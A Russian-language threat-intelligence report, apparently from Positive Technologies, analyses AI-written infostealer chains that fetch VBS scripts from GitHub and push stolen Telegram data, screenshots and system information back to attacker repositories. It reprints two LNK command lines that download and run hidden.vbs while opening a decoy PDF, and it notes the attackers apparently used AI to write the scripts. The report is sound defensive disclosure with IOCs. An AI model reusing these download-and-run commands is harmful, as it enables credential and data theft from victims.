
В процессе исследования вредоносных файлов, которые использовали группировки злоумышленников, мы наткнулись на интересные ранее незамеченные атаки, в которых использовались GitHub-аккаунты для хранения вредоносных файлов и данных жертв. Эти атаки не выглядели как что-то массовое, и, судя по всему, при разработке злоумышленники использовали ИИ. Самую раннюю подобную активность мы зафиксировали в сентябре 2024 года, самую позднюю — в апреле 2025-го.
Мы в команде Threat Intelligence исследуем сложные атаки с интересными способами закрепления и сбора информации, с уникальной инфраструктурой. Бывает, попадаются какие-то простенькие скрипты на пару строчек или же «бомбы», которые запускают сразу десятки различных малварей. Но очень редко мы встречаем настолько длинные цепочки очень простых скриптов, написанных ИИ и при этом рабочих, в такой сложной связке — видно, что логика была продумана. Считайте, это описание APT в иерархии script kiddie.
Начало исследования
Как-то в рамках одной из задач мы наткнулись на интересный файл с двойным расширением, которые сразу привлёк наше внимание:
document.docx.lnk SHA-256: 6bea2d17c26ffc7cec6d6e9c7d8548c5d8ce75e5523bfc7f3bfcde4f055848ff
Нас привлекла команда, которая качала файл hidden.vbs с GitHub, а также запускала легитимный PDF-файл, который скачивался из онлайн-библиотеки Каймановых островов.
/min cmd /c curl -o %TEMP%\hidden.vbs https://raw.githubusercontent.com/jacker8181/fff/refs/heads/main/hidden.vbs && cd %TEMP% && start hidden.vbs && start https://cnslibrary.com/wp-content/uploads/2024-2026-SPS.pdf
У пользователя jacker8181, который был указан внутри скрипта, есть два репозитория — fff и tune:

Репозиторий fff содержит два файла:
hidden.vbs SHA-256: eee0cca526348c2bf393574df418e43ca192671458a4d4d0d5d8d09206ad7757
unp.bat SHA-256: 2e7bd3ac84f3e4014274ec418f6d0467748b8fcbe858c50bdaf84becf97da023
Файл hidden.vbs уже на этом этапе привлекает внимание стилем кодинга — комментарии под каждой функцией, а также общий вид кода явно были разработаны c помощью запросов к ИИ:

Скрипт скачивал ZIP-архив с filebin.net, а скрипт unp.bat разархивировал этот архив и запускал следующий файл в цепочке — git_v.vbs:

Репозиторий tune содержал папку tdata, связанную с данными Telegram, а также файлы, связанные с системой жертвы, например system_unfo.txt:

В данном случае папка tune хоть и содержала файлы, но при этом они весили по 0 КБ, а по файлам системы невозможно точно идентифицировать жертву.
Так или иначе, мы начали собирать данные об этих атаках и проанализировали всю цепочку.
Полная цепочка атаки
Мы не смогли обнаружить точный первоначальный вектор, но, судя по всему, атаки начинались с имейлов с вредоносным вложением в виде ZIP- или RAR-архива. Для примера возьмем файл document.zip SHA-256: d83eb2bc85d29d8fe7bcfb1383de3643fcf8f5523ccf02167de1bcc298aa14fd
Цепочки атаки достаточно длинные и запутанные. Представим их визуальную схему:

Архив содержит fille_docu.lnk SHA-256: 08f6cb6d682c9fc9ea895f4bd71ada780a66882aa7330137be6f17fae755eb4a со следующим скриптом:
/min cmd /c curl -o %TEMP%\hidden.vbs https://raw.githubusercontent.com/Allsafetui/lex/refs/heads/main/hidden.vbs && cd %TEMP% && start hidden.vbs && start https://career.habr.com/olya-yurievna.pdf"%systemroot%\system32\imageres.dll
Интересно, что атакующий пытался в качестве приманки использовать резюме с career.habr, но в этом случае с огромной долей вероятности PDF-файл по этому пути не мог существовать.
Сам аккаунт на GitHub сейчас не содержит репозиториев:

Файл hidden.vbs загружался с GitHub, но так как сейчас там файлов нет, обнаружить конкретный файл, который был в GitHub аккаунте Allsafetui, невозможно. Но мы нашли два файла, связанных с этим репозиторием:
hidden.vbs SHA-256: 2b2dc11a9adbc40813b6290a4b117f37ab940c3baebedf19948ba5b7935ab754
hidden.vbs SHA-256: 658c9f9f6f695c4295db4552326fec1daac621f1fcba63b52ff0c704885f1473
Функциональность у обоих файлов аналогична hidden.vbs, единственные различия — в ссылках на Best_Gits.zip:
https://filebin.net/lx7i1oim7otnj5xv/Best_Gits.zip
Файл hidden.vbs качает unp.bat, который разархивирует архив Best_Gits.zip 11d11058d955a03d2fc7270c2968b35867903f4f11b0e23c0aa56655a28df4b8 во временной папке и запускает первый скрипт git_v.vbs:

Сама папка Best_Gits.zip имеет следующую структуру:

Скрипт git_v.vbs запускает в скрытом окне git.cmd:

В свою очередь, git.cmd сразу запускает hidden_runs.vbs, ждет 5 минут, запускает t.vbs, потом опять ждет 10 минут и пушит данные из папки LO в репозиторий GitHub.
Сначала разберемся до команды TIMEOUT: hidden_runs.vbs — прослойка, которая запускает три других скрипта:

-
Первый скрипт — это password_grab.cmd. Скрипт ищет на рабочем столе файлы по имени и сохраняет их в LO/info_desktop. Реализован был, скорее всего, с помощью сложного промпта, типа «создай скрипт, который крадет пароли»:
Рис. 11 — Контент password_grab.cmd -
Скрипт screenshot.cmd запускает screen.ps1 в скрытом окне через PowerShell, и screen.ps1 уже собирает данные. Для нашего удобства при создании ИИ уже расписал всю функциональность:
Рис. 12 — Контент screenshot.cmd Рис. 13 — Контент screen.ps1 -
Третий скрипт, system.bat, также удобно расписан в комментариях. Он собирает информацию о системе и сохраняет ее в system_info.txt:
Рис. 14 — Контент system.bat
Как было сказано выше, спустя 5 минут после запуска git.cmd запускался t.vbs. Скрипт останавливал процесс Telegram и копировал данные tdata в LO/tdata:

После еще 10 минут ожидания, когда скрипты собрали все данные, с помощью библиотек и модифицированной версии git.exe файлы отправляются в репозиторий https://github.com/Allsafetui с использованием личного access token с отключенным SSL-сертификатом.
Интересно, что архив также содержал screenshot_hiden.cmd, но этот файл нигде не использовался, а еще был таким же, как обычный screenshot.cmd, только без функции hidden (но называется hidden, да):

Остальные аккаунты
В случае аккаунта jacker8181 мы нашли данные, собранные на компьютере жертвы, но они не содержали какой-то чувствительной информации и, судя по названиям, были результатом прогона в одной из песочниц. При этом мы нашли еще несколько аккаунтов злоумышленников, но большая их часть была удалена. Активным был еще один, который содержал файлы:

Это самый ранний аккаунт, который мы нашли, и, судя по коммитам, он был активен в сентябре 2024 года.
Аккаунт содержал три репозитория:
1) - — содержит файл readme.md с символом -
2) fff — содержит hidden.vbs и unp.bat
3) tet — содержит текстовый файл t.txt
Файл t.txt содержит текст с требованием доставить 50 тысяч долларов в старую библиотеку ночью в пятницу и выглядит совершенно странно в общем контексте:

Злоумышленник загружал файлы hidden.vbs и unp.bat 16 сентября 2024 года в 16:17:28 с имейлом danatolevic544@gmail.com, а в 16:18:13 с myemail@example.com был загружен файл, который также присутствует в коде git.cmd — вероятно, этот файл тестовый:

Всего было найдено шесть разных аккаунтов, но их количество может быть больше, так как половина уже удалена. В коде во всех случаях создавалась папка с данными и загружалась на GitHub аккаунт, — вероятно, атаки были не массовыми, а таргетированными и проводились по принципу «один аккаунт — одна жертва», если у злоумышленников не была реализована система с уведомлениями при новом коммите и автоматическим забором файлов с дальнейшей очисткой.
Но судя по аккаунту jacker8181, в котором репозиторий tune до сих пор присутствует, скорее всего, такого механизма не было.
Аккаунт GitHub |
Статус |
активный без файлов |
|
активный |
|
активный |
|
неактивный |
|
неактивный |
|
неактивный |
IOCs
hidden.vbs: 2b2dc11a9adbc40813b6290a4b117f37ab940c3baebedf19948ba5b7935ab754 658c9f9f6f695c4295db4552326fec1daac621f1fcba63b52ff0c704885f1473 c443829a81bcf8565686c6395f1eddedecac4175b97d77678907c8b1453c70e3 231d60a57386b26c7ac96124adf357646731b7338874c62f5e3af7950da87e28 2b8bcbefb5876395958160a6f831e660f212865aac124f275977995cc8e5d7a4 04a459443bd8015089afd946ea088a0cf6141a9c7f28a954c1fd27826cf95422 eee0cca526348c2bf393574df418e43ca192671458a4d4d0d5d8d09206ad7757 8c747c1319dc5564b15ddb0ba913f347ab22fbb5bbbc3ee88f99096245f87ea0
Best_Gits.zip
b3315bfa572827aae2b4c1ce658617514081fae0d7731d0861ea8bee974db1ca
eb2e455ceadbbb28dd09fa966bb7268fa817f2a749af899811017ce3964b8a74
11d11058d955a03d2fc7270c2968b35867903f4f11b0e23c0aa56655a28df4b8
047f0735b7ec7f9666e0430b7aaf578bedeff555c3fa286e4bf11bf9afcfeaee
b3576ffd3d5db8f5fc095e010a1cfe13a7065d90f336a0be6f63b2a141a75114
564ca80990e27c4e1d881835b4a051a813f29874eeca942c5f278031531c4b19
Остальные файлы
b.rar |
51ec727fabb6ffc26a6100a56da6919a4f869076deb1ecfbfa85eb5b5cc32bdb |
unp.bat |
6f4b22f593af20b1bae21370efebed2699d407b139befa546d982c7c2fbef9b0 |
unp.bat |
2e7bd3ac84f3e4014274ec418f6d0467748b8fcbe858c50bdaf84becf97da023 |
f_62167fba570ac718.zip |
9e936bacfb2e22658c1cc77fbef583a3bbc36599608949f0850a69505894d3db |
document.zip |
d83eb2bc85d29d8fe7bcfb1383de3643fcf8f5523ccf02167de1bcc298aa14fd |
payload_1.zip |
c0c04d2e43ba6910bae4b0aaa2ebdc7069a365ff9a75aa98b4c5342161d45e87 |
_doc_390234.zip |
3f4f86fac8e2c040c138b6d2a14cf6856b83951415df1bffcd2be2ac596af572 |
code.zip |
45fc1fadc5a0c5e34f68e8822128fca3f1dcb8c5e040625287b503e021f22366 |
document.docx.lnk |
6bea2d17c26ffc7cec6d6e9c7d8548c5d8ce75e5523bfc7f3bfcde4f055848ff |
document.docx.lnk |
5a3da63fa0d00f9409ab6feeafd7638b35039e0543d511785c5fb36fcfae20cb |
telegram bot code.lnk |
b7fe85a96eb2c4d079f9f0070d623e2e9278abd41c62f2582500e91b58403409 |
codepen.lnk |
c9175e179e86a5f653373c540ac8663a741f26e693268d3080586291b1f44c43 |
codepen.txt.lnk |
34c594b8a5920cbe9a8758ad196b0ef1b837fa4135f6e7324ad8e8b6c68b45c0 |
doc_237943_.lnk |
268e5e051ae4866ca72055c9b6f10fdd6e68eb247b61ce987a219c2324dc5179 |
fille_docu.lnk |
08f6cb6d682c9fc9ea895f4bd71ada780a66882aa7330137be6f17fae755eb4a |
doc_237943_.lnk |
f73a1fb7d2b44ebc0136cfdd6a70db7b948c7ccfa6f234dca56237c5b0a6c03a |
_doc_390234.pdf.ln |
7672312e3df69bccf57d0ac595920cd4e9d3dc14e70532c39a367b4bd205d339 |

Александр Бадаев
Cпециалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies